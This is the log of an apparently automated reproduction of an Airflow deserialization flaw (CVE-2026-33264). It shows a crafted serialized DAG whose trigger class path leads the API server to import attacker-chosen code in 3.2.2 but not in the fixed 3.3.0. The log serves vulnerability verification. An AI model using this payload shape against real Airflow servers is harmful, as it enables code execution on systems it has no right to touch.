[repro] ROOT=/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle
[repro] WORK_REPO=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo
[repro] VULN_VENV=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv
[repro] FIXED_VENV=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv
[repro] Reusing apache-airflow==3.2.2 in /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv
2026-07-07T22:36:43.475284Z [info     ] setup plugin alembic.autogenerate.schemas [alembic.runtime.plugins] loc=plugins.py:37
2026-07-07T22:36:43.475507Z [info     ] setup plugin alembic.autogenerate.tables [alembic.runtime.plugins] loc=plugins.py:37
2026-07-07T22:36:43.475609Z [info     ] setup plugin alembic.autogenerate.types [alembic.runtime.plugins] loc=plugins.py:37
2026-07-07T22:36:43.475702Z [info     ] setup plugin alembic.autogenerate.constraints [alembic.runtime.plugins] loc=plugins.py:37
2026-07-07T22:36:43.475792Z [info     ] setup plugin alembic.autogenerate.defaults [alembic.runtime.plugins] loc=plugins.py:37
2026-07-07T22:36:43.475882Z [info     ] setup plugin alembic.autogenerate.comments [alembic.runtime.plugins] loc=plugins.py:37
[repro] airflow_version 3.2.2
[repro] airflow_file /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/__init__.py
[repro] BaseSerialization.deserialize_file /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/serialization/serialized_objects.py
[repro] Reusing apache-airflow==3.3.0 in /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv
[repro] airflow_version 3.3.0
[repro] airflow_file /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/airflow/__init__.py
[repro] BaseSerialization.deserialize_file /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/airflow/serialization/serialized_objects.py
[repro] Running Airflow API-server product attempt version=3.2.2 attempt=1 port=18101
{
  "airflow_version_expected": "3.2.2",
  "attempt": 1,
  "dag_id": "cve_2026_33264_probe_3_2_2_1",
  "port": 18101,
  "airflow_home": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.2.2_1/airflow_home",
  "module_dir": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.2.2_1/airflow_home/dags",
  "marker": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.2.2_1/api_server_rce_marker.txt",
  "server_log": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.2.2_1/airflow_api_server.log",
  "endpoint_url": "http://127.0.0.1:18101/ui/grid/structure/cve_2026_33264_probe_3_2_2_1?offset=0&limit=100",
  "service_started": true,
  "healthcheck_passed": true,
  "target_reached": true,
  "http_status": "200",
  "import_side_effect_observed": true,
  "exception_type": null,
  "exception_message": null,
  "seed_stdout": "2026-07-07T22:36:49.227067Z [info     ] setup plugin alembic.autogenerate.schemas [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:36:49.227215Z [info     ] setup plugin alembic.autogenerate.tables [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:36:49.227276Z [info     ] setup plugin alembic.autogenerate.types [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:36:49.227347Z [info     ] setup plugin alembic.autogenerate.constraints [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:36:49.227417Z [info     ] setup plugin alembic.autogenerate.defaults [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:36:49.227486Z [info     ] setup plugin alembic.autogenerate.comments [alembic.runtime.plugins] loc=plugins.py:37\n{\n  \"seeded_dag_id\": \"cve_2026_33264_probe_3_2_2_1\",\n  \"dag_version_id\": \"019f3eba-116e-7be1-abe3-fc2bcf8442d7\",\n  \"serialized_default_args\": \"{'__type': 'base_trigger', '__var': ['evil_trigger_module.EvilTrigger', {'__type': 'dict', '__var': {'attacker': 'serialized_dag_author_controlled_class_path'}}]}\"\n}\n",
  "api_server_pid": 17188,
  "health_http_status": "200",
  "curl_stderr": "",
  "http_response_excerpt": "[{\"id\":\"t1\",\"label\":\"t1\"}]",
  "http_headers_excerpt": "HTTP/1.1 200 OK\ndate: Tue, 07 Jul 2026 22:36:52 GMT\nserver: uvicorn\ncontent-length: 26\ncontent-type: application/json\nvary: Accept-Encoding\n\n",
  "api_server_returncode": 0,
  "marker_content": "import-time code execution in Airflow API server; pid=17188\n",
  "server_log_tail": "ing  ] FileType is deprecated. Simply open files after parsing arguments. [py.warnings] category=PendingDeprecationWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/cli/cli_config.py lineno=605\n2026-07-07T22:36:50.569077Z [warning  ] FileType is deprecated. Simply open files after parsing arguments. [py.warnings] category=PendingDeprecationWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/cli/cli_config.py lineno=816\n2026-07-07T22:36:50.611294Z [info     ] setup plugin alembic.autogenerate.schemas [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:36:50.611524Z [info     ] setup plugin alembic.autogenerate.tables [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:36:50.611583Z [info     ] setup plugin alembic.autogenerate.types [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:36:50.611616Z [info     ] setup plugin alembic.autogenerate.constraints [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:36:50.611648Z [info     ] setup plugin alembic.autogenerate.defaults [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:36:50.611674Z [info     ] setup plugin alembic.autogenerate.comments [alembic.runtime.plugins] loc=plugins.py:37\n  ____________       _____________\n ____    |__( )_________  __/__  /________      __\n____  /| |_  /__  ___/_  /_ __  /_  __ \\_ | /| / /\n___  ___ |  / _  /   _  __/ _  / / /_/ /_ |/ |/ /\n _/_/  |_/_/  /_/    /_/    /_/  \\____/____/|__/\nRunning the API server with uvicorn:\nApps: all\nWorkers: 1\nHost: 127.0.0.1:18101\nTimeout: 120\nLogfiles: -\n=================================================================\n2026-07-07T22:36:52.302379Z [info     ] Started server process [17188] [uvicorn.error] loc=server.py:91\n2026-07-07T22:36:52.302504Z [info     ] Waiting for application startup. [uvicorn.error] loc=on.py:48\n2026-07-07T22:36:52.303106Z [info     ] Application startup complete.  [uvicorn.error] loc=on.py:62\n2026-07-07T22:36:52.304076Z [info     ] Uvicorn running on http://127.0.0.1:18101 (Press CTRL+C to quit) [uvicorn.error] loc=server.py:222\n2026-07-07T22:36:52.926247Z [warning  ] The HMAC key is 24 bytes long, which is below the minimum recommended length of 64 bytes for SHA512. See RFC 7518 Section 3.2. [py.warnings] category=InsecureKeyLengthWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/jwt/api_jwt.py lineno=147\n2026-07-07T22:36:53.211525Z [warning  ] The HMAC key is 24 bytes long, which is below the minimum recommended length of 64 bytes for SHA512. See RFC 7518 Section 3.2. [py.warnings] category=InsecureKeyLengthWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/jwt/api_jwt.py lineno=147\n2026-07-07T22:36:53.212729Z [warning  ] The HMAC key is 24 bytes long, which is below the minimum recommended length of 64 bytes for SHA512. See RFC 7518 Section 3.2. [py.warnings] category=InsecureKeyLengthWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/jwt/api_jwt.py lineno=368\n2026-07-07T22:36:53.221551Z [info     ] request finished               [http.access] client_addr=127.0.0.1:50420 duration_us=10313 loc=http_access_log.py:98 method=GET path=/ui/grid/structure/cve_2026_33264_probe_3_2_2_1 query='offset=0&limit=100' status_code=200\n2026-07-07T22:36:53.300224Z [info     ] Shutting down                  [uvicorn.error] loc=server.py:270\n2026-07-07T22:36:53.401796Z [info     ] Waiting for application shutdown. [uvicorn.error] loc=on.py:67\n2026-07-07T22:36:53.402157Z [info     ] Application shutdown complete. [uvicorn.error] loc=on.py:76\n2026-07-07T22:36:53.402227Z [info     ] Finished server process [17188] [uvicorn.error] loc=server.py:101\n"
}
[repro] Running Airflow API-server product attempt version=3.2.2 attempt=2 port=18102
{
  "airflow_version_expected": "3.2.2",
  "attempt": 2,
  "dag_id": "cve_2026_33264_probe_3_2_2_2",
  "port": 18102,
  "airflow_home": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.2.2_2/airflow_home",
  "module_dir": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.2.2_2/airflow_home/dags",
  "marker": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.2.2_2/api_server_rce_marker.txt",
  "server_log": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.2.2_2/airflow_api_server.log",
  "endpoint_url": "http://127.0.0.1:18102/ui/grid/structure/cve_2026_33264_probe_3_2_2_2?offset=0&limit=100",
  "service_started": true,
  "healthcheck_passed": true,
  "target_reached": true,
  "http_status": "200",
  "import_side_effect_observed": true,
  "exception_type": null,
  "exception_message": null,
  "seed_stdout": "2026-07-07T22:36:58.954296Z [info     ] setup plugin alembic.autogenerate.schemas [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:36:58.954481Z [info     ] setup plugin alembic.autogenerate.tables [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:36:58.954564Z [info     ] setup plugin alembic.autogenerate.types [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:36:58.954655Z [info     ] setup plugin alembic.autogenerate.constraints [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:36:58.954743Z [info     ] setup plugin alembic.autogenerate.defaults [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:36:58.954837Z [info     ] setup plugin alembic.autogenerate.comments [alembic.runtime.plugins] loc=plugins.py:37\n{\n  \"seeded_dag_id\": \"cve_2026_33264_probe_3_2_2_2\",\n  \"dag_version_id\": \"019f3eba-37ba-774b-8cc2-f763f4dbbfa1\",\n  \"serialized_default_args\": \"{'__type': 'base_trigger', '__var': ['evil_trigger_module.EvilTrigger', {'__type': 'dict', '__var': {'attacker': 'serialized_dag_author_controlled_class_path'}}]}\"\n}\n",
  "api_server_pid": 17205,
  "health_http_status": "200",
  "curl_stderr": "",
  "http_response_excerpt": "[{\"id\":\"t1\",\"label\":\"t1\"}]",
  "http_headers_excerpt": "HTTP/1.1 200 OK\ndate: Tue, 07 Jul 2026 22:37:02 GMT\nserver: uvicorn\ncontent-length: 26\ncontent-type: application/json\nvary: Accept-Encoding\n\n",
  "api_server_returncode": 0,
  "marker_content": "import-time code execution in Airflow API server; pid=17205\n",
  "server_log_tail": "ing  ] FileType is deprecated. Simply open files after parsing arguments. [py.warnings] category=PendingDeprecationWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/cli/cli_config.py lineno=605\n2026-07-07T22:37:00.579816Z [warning  ] FileType is deprecated. Simply open files after parsing arguments. [py.warnings] category=PendingDeprecationWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/cli/cli_config.py lineno=816\n2026-07-07T22:37:00.613040Z [info     ] setup plugin alembic.autogenerate.schemas [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:37:00.613172Z [info     ] setup plugin alembic.autogenerate.tables [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:37:00.613216Z [info     ] setup plugin alembic.autogenerate.types [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:37:00.613246Z [info     ] setup plugin alembic.autogenerate.constraints [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:37:00.613276Z [info     ] setup plugin alembic.autogenerate.defaults [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:37:00.613302Z [info     ] setup plugin alembic.autogenerate.comments [alembic.runtime.plugins] loc=plugins.py:37\n  ____________       _____________\n ____    |__( )_________  __/__  /________      __\n____  /| |_  /__  ___/_  /_ __  /_  __ \\_ | /| / /\n___  ___ |  / _  /   _  __/ _  / / /_/ /_ |/ |/ /\n _/_/  |_/_/  /_/    /_/    /_/  \\____/____/|__/\nRunning the API server with uvicorn:\nApps: all\nWorkers: 1\nHost: 127.0.0.1:18102\nTimeout: 120\nLogfiles: -\n=================================================================\n2026-07-07T22:37:02.217109Z [info     ] Started server process [17205] [uvicorn.error] loc=server.py:91\n2026-07-07T22:37:02.217223Z [info     ] Waiting for application startup. [uvicorn.error] loc=on.py:48\n2026-07-07T22:37:02.217792Z [info     ] Application startup complete.  [uvicorn.error] loc=on.py:62\n2026-07-07T22:37:02.218792Z [info     ] Uvicorn running on http://127.0.0.1:18102 (Press CTRL+C to quit) [uvicorn.error] loc=server.py:222\n2026-07-07T22:37:02.980007Z [warning  ] The HMAC key is 24 bytes long, which is below the minimum recommended length of 64 bytes for SHA512. See RFC 7518 Section 3.2. [py.warnings] category=InsecureKeyLengthWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/jwt/api_jwt.py lineno=147\n2026-07-07T22:37:03.265133Z [warning  ] The HMAC key is 24 bytes long, which is below the minimum recommended length of 64 bytes for SHA512. See RFC 7518 Section 3.2. [py.warnings] category=InsecureKeyLengthWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/jwt/api_jwt.py lineno=147\n2026-07-07T22:37:03.266508Z [warning  ] The HMAC key is 24 bytes long, which is below the minimum recommended length of 64 bytes for SHA512. See RFC 7518 Section 3.2. [py.warnings] category=InsecureKeyLengthWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/jwt/api_jwt.py lineno=368\n2026-07-07T22:37:03.276681Z [info     ] request finished               [http.access] client_addr=127.0.0.1:40198 duration_us=11868 loc=http_access_log.py:98 method=GET path=/ui/grid/structure/cve_2026_33264_probe_3_2_2_2 query='offset=0&limit=100' status_code=200\n2026-07-07T22:37:03.355782Z [info     ] Shutting down                  [uvicorn.error] loc=server.py:270\n2026-07-07T22:37:03.456402Z [info     ] Waiting for application shutdown. [uvicorn.error] loc=on.py:67\n2026-07-07T22:37:03.456765Z [info     ] Application shutdown complete. [uvicorn.error] loc=on.py:76\n2026-07-07T22:37:03.456822Z [info     ] Finished server process [17205] [uvicorn.error] loc=server.py:101\n"
}
[repro] Running Airflow API-server product attempt version=3.3.0 attempt=1 port=18103
{
  "airflow_version_expected": "3.3.0",
  "attempt": 1,
  "dag_id": "cve_2026_33264_probe_3_3_0_1",
  "port": 18103,
  "airflow_home": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.3.0_1/airflow_home",
  "module_dir": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.3.0_1/airflow_home/dags",
  "marker": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.3.0_1/api_server_rce_marker.txt",
  "server_log": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.3.0_1/airflow_api_server.log",
  "endpoint_url": "http://127.0.0.1:18103/ui/grid/structure/cve_2026_33264_probe_3_3_0_1?offset=0&limit=100",
  "service_started": true,
  "healthcheck_passed": true,
  "target_reached": true,
  "http_status": "500",
  "import_side_effect_observed": false,
  "exception_type": null,
  "exception_message": null,
  "seed_stdout": "{\n  \"seeded_dag_id\": \"cve_2026_33264_probe_3_3_0_1\",\n  \"dag_version_id\": \"019f3eba-5d19-73a8-b767-d08f9eca4343\",\n  \"serialized_default_args\": \"{'__type': 'base_trigger', '__var': ['evil_trigger_module.EvilTrigger', {'__type': 'dict', '__var': {'attacker': 'serialized_dag_author_controlled_class_path'}}]}\"\n}\n",
  "api_server_pid": 17228,
  "health_http_status": "200",
  "curl_stderr": "",
  "http_response_excerpt": "{\"detail\":\"An error occurred while trying to deserialize Dag: An unexpected error occurred while trying to deserialize Dag 'cve_2026_33264_probe_3_3_0_1'\"}",
  "http_headers_excerpt": "HTTP/1.1 500 Internal Server Error\ndate: Tue, 07 Jul 2026 22:37:12 GMT\nserver: uvicorn\ncontent-length: 155\ncontent-type: application/json\nvary: Accept-Encoding\n\n",
  "api_server_returncode": 0,
  "server_log_tail": "rning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/airflow/cli/cli_config.py lineno=868\n2026-07-07T22:37:10.258760Z [info     ] setup plugin alembic.autogenerate.schemas [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:37:10.258885Z [info     ] setup plugin alembic.autogenerate.tables [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:37:10.258927Z [info     ] setup plugin alembic.autogenerate.types [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:37:10.258958Z [info     ] setup plugin alembic.autogenerate.constraints [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:37:10.259014Z [info     ] setup plugin alembic.autogenerate.defaults [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:37:10.259074Z [info     ] setup plugin alembic.autogenerate.comments [alembic.runtime.plugins] loc=plugins.py:37\n  ____________       _____________\n ____    |__( )_________  __/__  /________      __\n____  /| |_  /__  ___/_  /_ __  /_  __ \\_ | /| / /\n___  ___ |  / _  /   _  __/ _  / / /_/ /_ |/ |/ /\n _/_/  |_/_/  /_/    /_/    /_/  \\____/____/|__/\nRunning the API server with uvicorn:\nApps: all\nWorkers: 1\nHost: 127.0.0.1:18103\nTimeout: 120\nLogfiles: -\n=================================================================\n2026-07-07T22:37:10.672199Z [warning  ] 'HTTP_422_UNPROCESSABLE_ENTITY' is deprecated. Use 'HTTP_422_UNPROCESSABLE_CONTENT' instead. [py.warnings] category=StarletteDeprecationWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/airflow/api_fastapi/common/exceptions.py lineno=132\n2026-07-07T22:37:10.775084Z [warning  ] 'HTTP_422_UNPROCESSABLE_ENTITY' is deprecated. Use 'HTTP_422_UNPROCESSABLE_CONTENT' instead. [py.warnings] category=StarletteDeprecationWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/airflow/api_fastapi/core_api/routes/public/__init__.py lineno=29\n2026-07-07T22:37:12.041737Z [info     ] Started server process [17228] [uvicorn.error] loc=server.py:91\n2026-07-07T22:37:12.041850Z [info     ] Waiting for application startup. [uvicorn.error] loc=on.py:48\n2026-07-07T22:37:12.042627Z [info     ] Application startup complete.  [uvicorn.error] loc=on.py:62\n2026-07-07T22:37:12.043604Z [info     ] Uvicorn running on http://127.0.0.1:18103 (Press CTRL+C to quit) [uvicorn.error] loc=server.py:222\n2026-07-07T22:37:12.335829Z [warning  ] The HMAC key is 24 bytes long, which is below the minimum recommended length of 64 bytes for SHA512. See RFC 7518 Section 3.2. [py.warnings] category=InsecureKeyLengthWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/jwt/api_jwt.py lineno=147\n2026-07-07T22:37:12.350459Z [warning  ] The HMAC key is 24 bytes long, which is below the minimum recommended length of 64 bytes for SHA512. See RFC 7518 Section 3.2. [py.warnings] category=InsecureKeyLengthWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/jwt/api_jwt.py lineno=368\n2026-07-07T22:37:12.359935Z [info     ] request finished               [http.access] client_addr=127.0.0.1:34288 duration_us=11458 loc=http_access_log.py:130 method=GET path=/ui/grid/structure/cve_2026_33264_probe_3_3_0_1 query='offset=0&limit=100' status_code=500\n2026-07-07T22:37:12.443998Z [info     ] Shutting down                  [uvicorn.error] loc=server.py:270\n2026-07-07T22:37:12.544457Z [info     ] Waiting for application shutdown. [uvicorn.error] loc=on.py:67\n2026-07-07T22:37:12.544742Z [info     ] Application shutdown complete. [uvicorn.error] loc=on.py:76\n2026-07-07T22:37:12.544798Z [info     ] Finished server process [17228] [uvicorn.error] loc=server.py:101\n"
}
[repro] Running Airflow API-server product attempt version=3.3.0 attempt=2 port=18104
{
  "airflow_version_expected": "3.3.0",
  "attempt": 2,
  "dag_id": "cve_2026_33264_probe_3_3_0_2",
  "port": 18104,
  "airflow_home": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.3.0_2/airflow_home",
  "module_dir": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.3.0_2/airflow_home/dags",
  "marker": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.3.0_2/api_server_rce_marker.txt",
  "server_log": "/data/pruva/runs/e6d20256-b0e8-49c3-a908-a69cffcc1535/bundle/artifacts/airflow_api_3.3.0_2/airflow_api_server.log",
  "endpoint_url": "http://127.0.0.1:18104/ui/grid/structure/cve_2026_33264_probe_3_3_0_2?offset=0&limit=100",
  "service_started": true,
  "healthcheck_passed": true,
  "target_reached": true,
  "http_status": "500",
  "import_side_effect_observed": false,
  "exception_type": null,
  "exception_message": null,
  "seed_stdout": "{\n  \"seeded_dag_id\": \"cve_2026_33264_probe_3_3_0_2\",\n  \"dag_version_id\": \"019f3eba-8240-7c9d-aaf2-b4613cf274c3\",\n  \"serialized_default_args\": \"{'__type': 'base_trigger', '__var': ['evil_trigger_module.EvilTrigger', {'__type': 'dict', '__var': {'attacker': 'serialized_dag_author_controlled_class_path'}}]}\"\n}\n",
  "api_server_pid": 17245,
  "health_http_status": "200",
  "curl_stderr": "",
  "http_response_excerpt": "{\"detail\":\"An error occurred while trying to deserialize Dag: An unexpected error occurred while trying to deserialize Dag 'cve_2026_33264_probe_3_3_0_2'\"}",
  "http_headers_excerpt": "HTTP/1.1 500 Internal Server Error\ndate: Tue, 07 Jul 2026 22:37:21 GMT\nserver: uvicorn\ncontent-length: 155\ncontent-type: application/json\nvary: Accept-Encoding\n\n",
  "api_server_returncode": 0,
  "server_log_tail": "rning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/airflow/cli/cli_config.py lineno=868\n2026-07-07T22:37:19.813929Z [info     ] setup plugin alembic.autogenerate.schemas [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:37:19.814075Z [info     ] setup plugin alembic.autogenerate.tables [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:37:19.814128Z [info     ] setup plugin alembic.autogenerate.types [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:37:19.814162Z [info     ] setup plugin alembic.autogenerate.constraints [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:37:19.814192Z [info     ] setup plugin alembic.autogenerate.defaults [alembic.runtime.plugins] loc=plugins.py:37\n2026-07-07T22:37:19.814218Z [info     ] setup plugin alembic.autogenerate.comments [alembic.runtime.plugins] loc=plugins.py:37\n  ____________       _____________\n ____    |__( )_________  __/__  /________      __\n____  /| |_  /__  ___/_  /_ __  /_  __ \\_ | /| / /\n___  ___ |  / _  /   _  __/ _  / / /_/ /_ |/ |/ /\n _/_/  |_/_/  /_/    /_/    /_/  \\____/____/|__/\nRunning the API server with uvicorn:\nApps: all\nWorkers: 1\nHost: 127.0.0.1:18104\nTimeout: 120\nLogfiles: -\n=================================================================\n2026-07-07T22:37:20.229977Z [warning  ] 'HTTP_422_UNPROCESSABLE_ENTITY' is deprecated. Use 'HTTP_422_UNPROCESSABLE_CONTENT' instead. [py.warnings] category=StarletteDeprecationWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/airflow/api_fastapi/common/exceptions.py lineno=132\n2026-07-07T22:37:20.330923Z [warning  ] 'HTTP_422_UNPROCESSABLE_ENTITY' is deprecated. Use 'HTTP_422_UNPROCESSABLE_CONTENT' instead. [py.warnings] category=StarletteDeprecationWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/airflow/api_fastapi/core_api/routes/public/__init__.py lineno=29\n2026-07-07T22:37:21.615484Z [info     ] Started server process [17245] [uvicorn.error] loc=server.py:91\n2026-07-07T22:37:21.615596Z [info     ] Waiting for application startup. [uvicorn.error] loc=on.py:48\n2026-07-07T22:37:21.616328Z [info     ] Application startup complete.  [uvicorn.error] loc=on.py:62\n2026-07-07T22:37:21.617346Z [info     ] Uvicorn running on http://127.0.0.1:18104 (Press CTRL+C to quit) [uvicorn.error] loc=server.py:222\n2026-07-07T22:37:21.904306Z [warning  ] The HMAC key is 24 bytes long, which is below the minimum recommended length of 64 bytes for SHA512. See RFC 7518 Section 3.2. [py.warnings] category=InsecureKeyLengthWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/jwt/api_jwt.py lineno=147\n2026-07-07T22:37:21.915618Z [warning  ] The HMAC key is 24 bytes long, which is below the minimum recommended length of 64 bytes for SHA512. See RFC 7518 Section 3.2. [py.warnings] category=InsecureKeyLengthWarning filename=/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_3.3.0_cve_2026_33264_venv/lib/python3.14/site-packages/jwt/api_jwt.py lineno=368\n2026-07-07T22:37:21.925431Z [info     ] request finished               [http.access] client_addr=127.0.0.1:43872 duration_us=10891 loc=http_access_log.py:130 method=GET path=/ui/grid/structure/cve_2026_33264_probe_3_3_0_2 query='offset=0&limit=100' status_code=500\n2026-07-07T22:37:22.019057Z [info     ] Shutting down                  [uvicorn.error] loc=server.py:270\n2026-07-07T22:37:22.119774Z [info     ] Waiting for application shutdown. [uvicorn.error] loc=on.py:67\n2026-07-07T22:37:22.120200Z [info     ] Application shutdown complete. [uvicorn.error] loc=on.py:76\n2026-07-07T22:37:22.120273Z [info     ] Finished server process [17245] [uvicorn.error] loc=server.py:101\n"
}
[repro] RESULT: CONFIRMED - live Airflow API server endpoint deserialized a malicious serialized DAG and imported attacker-controlled class path in vulnerable 3.2.2; fixed 3.3.0 did not execute the import-time payload.